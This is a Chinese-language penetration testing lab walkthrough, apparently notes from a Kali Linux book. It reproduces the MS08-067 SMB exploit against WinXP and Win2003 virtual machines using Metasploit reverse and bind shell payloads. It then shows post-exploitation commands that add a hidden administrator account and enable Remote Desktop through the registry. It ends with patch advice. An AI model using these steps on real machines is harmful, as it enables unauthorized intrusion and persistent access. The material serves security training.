本期文章背景
本期文章由华章IT赞助,未经允许,禁止转发,本篇笔记内容来源于书籍《kali Linux 高级渗透测试》,如有需要,可以购买阅读。
本篇笔记作者:k0xx1 编辑:天均 排版:天均
漏洞利用前准备
寻找漏洞
·CVE https://cve.mitre.org/
Common Vulnerabilities & Exposures公共漏洞和暴露, 由MITRE 1999年发起以社区作为努力方向
·NVD https://nvd.nist.gov/
美国国家通用漏洞数据库,National Institute of Standards and Technology (NIST) 2005年发起.
·CNVD
CNVD是国家信息安全漏洞共享平台,英文是China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT则是工信部的下属单位。
·CNNVD http://www.cnnvd.org.cn/
CNNVD是中国国家信息安全漏洞库,英文名称China National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(一般简称国测,国测的主管单位是Security部),是中国信息安全测评中心为切实履行漏洞分析和风险评估的职能,负责建设运维的国家级信息安全漏洞库,为我国信息安全保障提供基础服务。
·MSRC https://docs.microsoft.com/en-us/security-updates/
Microsoft Security Response Center (微软安全应急响应中心)提供的 Security Advisories and Bulletins安全警告和公告
我们今天要介绍的就是MS08-067,看名称就可以知道,是在08年的第67个公告 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067
虚拟机安装
需要的文件
·各种虚拟机系统: 自备
·纯净版WinXPSP3:winxp-sp3 English(winxpensp3)
·Kali Linux 虚拟机文件: kali-linux-2020.2-vmware-amd64.7z (默认用户名密码不是root/toor而是kali/kali)
安装过程(略)
·记得将虚拟机的网卡都设置为桥接模式
·WinXP系统管理员(Administrator)密码可以设置为复杂密码
·WinXP初次启动画面选择不启动自动更新,第一个用户名随便填写
·WinXP启动后关闭Windows自带防火墙
·Kali如果不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。
·Kali使用默认的qterminal
·Kali中文支持
o打开终端
osudo dpkg-reconfigure locales
里面选择en_US.UTF-8、zh_CN.GBK、zh_CN.UTF-8
,用空格选定,用Tab
选择OK
回车
o默认环境可以选择zh_CN.UTF-8
也可以选择en_US.UTF-8
o更新包为最新内容 sudo apt-get update
,有些人也可以选择更新到国内源,只是需要修改/etc/apt/sources.list
的源内容,具体可以提issue询问如何修改
o安装默认桌面环境需要的字体sudo apt-get install xfonts-intl-chinese ttf-wqy-microhei
o重启Kali -> reboot
攻击者ip为192.168.1.102
被攻击的ip为192.168.1.128
03漏洞利用
先嗅探端口看看445端口开了没
看到确实开放了445
端口也就是SMB
系统渗透
·进入msf终端
kali@kali:~$ msfconsole
·搜索ms08_067
漏洞信息
msf5 > search ms08_067
·选择利用此漏洞
msf5 > use exploit/windows/smb/ms08_067_netapi
·设置payload
输入 show payloads
msf5 exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp
·设置target为XP2001
msf exploit(windows/smb/ms08_067_netapi) > set target 6
·设置目标机器IP地址
msf exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"
·查看当前渗透选项
msf exploit(windows/smb/ms08_067_netapi) > show options
·开始渗透
这样就已经成功拿到Windows Shell
漏洞利用
创建Windows用户,用户名为someone
密码为12345678
命令
net user someone 12345678 /add
命令成功完成。
将用户someone
加入管理员组
命令 net localgroup administrators someone /add
命令成功完成
·修改注册表开启远程访问
命令 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
操作成功结束
此时用netstat -an
可以看到3389
端口开启,说明已经有效了
这样我们可以用远程桌面连接了 例如
rdesktop 192.168.1.128
04 解决方案
升级到最新的Windows系统
安装KB958644
补丁
Win2003的MS08-067漏洞利用复现和解决方案
漏洞利用前准备
寻找漏洞
·CVE https://cve.mitre.org/
Common Vulnerabilities & Exposures公共漏洞和暴露, 由MITRE 1999年发起以社区作为努力方向
·NVD https://nvd.nist.gov/
美国国家通用漏洞数据库,National Institute of Standards and Technology (NIST) 2005年发起.
·CNVD
CNVD是国家信息安全漏洞共享平台,英文是China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT则是工信部的下属单位。
·CNNVD http://www.cnnvd.org.cn/
CNNVD是中国国家信息安全漏洞库,英文名称China National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(一般简称国测,国测的主管单位是Security部),是中国信息安全测评中心为切实履行漏洞分析和风险评估的职能,负责建设运维的国家级信息安全漏洞库,为我国信息安全保障提供基础服务。
·MSRC https://docs.microsoft.com/en-us/security-updates/
Microsoft Security Response Center (微软安全应急响应中心)提供的 Security Advisories and Bulletins安全警告和公告
我们今天要介绍的就是MS08-067,看名称就可以知道,是在08年的第67个公告 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067
虚拟机安装
需要的文件
·各种虚拟机系统: 自备
·Win2003虚拟机:Win2K3 Metasploit
·Kali Linux 虚拟机文件: kali-linux-2020.2-vmware-amd64.7z (默认用户名密码不是root/toor而是kali/kali)
安装过程(略)
·记得将虚拟机的网卡都设置为桥接模式
·Win2003系统管理员(Administrator)密码可以设置为复杂密码
·Win2003初次启动画面选择不启动自动更新,第一个用户名随便填写
·Win2003启动后关闭Windows自带防火墙
·Kali如果不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。
·Kali使用xfce Terminal
而不是默认的qterminal
0x03 漏洞利用
机器地址
攻击者ip 192.168.1.105
被攻者IP 192.168.1.128
嗅探端口,看看445端口开放没
kali@kali:~$ nmap -PS 192.138.1.128
看到确实开放了445
端口也就是SMB
系统渗透
·进入msf终端
kali@kali:~$ msfconsole
·搜索ms08_067
漏洞信息
msf5 > search ms08_067
·选择利用此漏洞
msf5 > use exploit/windows/smb/ms08_067_netapi
·设置payload
msf5 exploit(windows/smb/ms08_067_netapi) > set payload "generic/shell_bind_tcp"
·设置target为win2003-english,我这里不知道他是哪个所以填0
msf5 exploit(windows/smb/ms08_067_netapi) > set target 0
·设置目标机器和被攻击机器IP地址RHOST-被攻击LHOST-攻击机器
msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"
msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST"192.168.1.108"
·查看当前渗透选项
msf5 exploit(windows/smb/ms08_067_netapi) > show options
开始渗透
这样就已经成功拿到Windows Shell
漏洞利用
创建Windows用户,用户名为someone 密码为12345678
命令 net user someone 12345678 /add
命令成功完成
将用户someone加入管理员组
命令net localgroup administrators someone /add
命令成功完成。
修改注册表开启远程访问
命令REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
操作成功结束
此时用netstat -an可以看到3389端口开启,说明已经有效了
这样我们可以用远程桌面连接了 例如
rdesktop 192.168.1.128
0x04 解决方案
升级到最新的Windows系统
安装KB958644补丁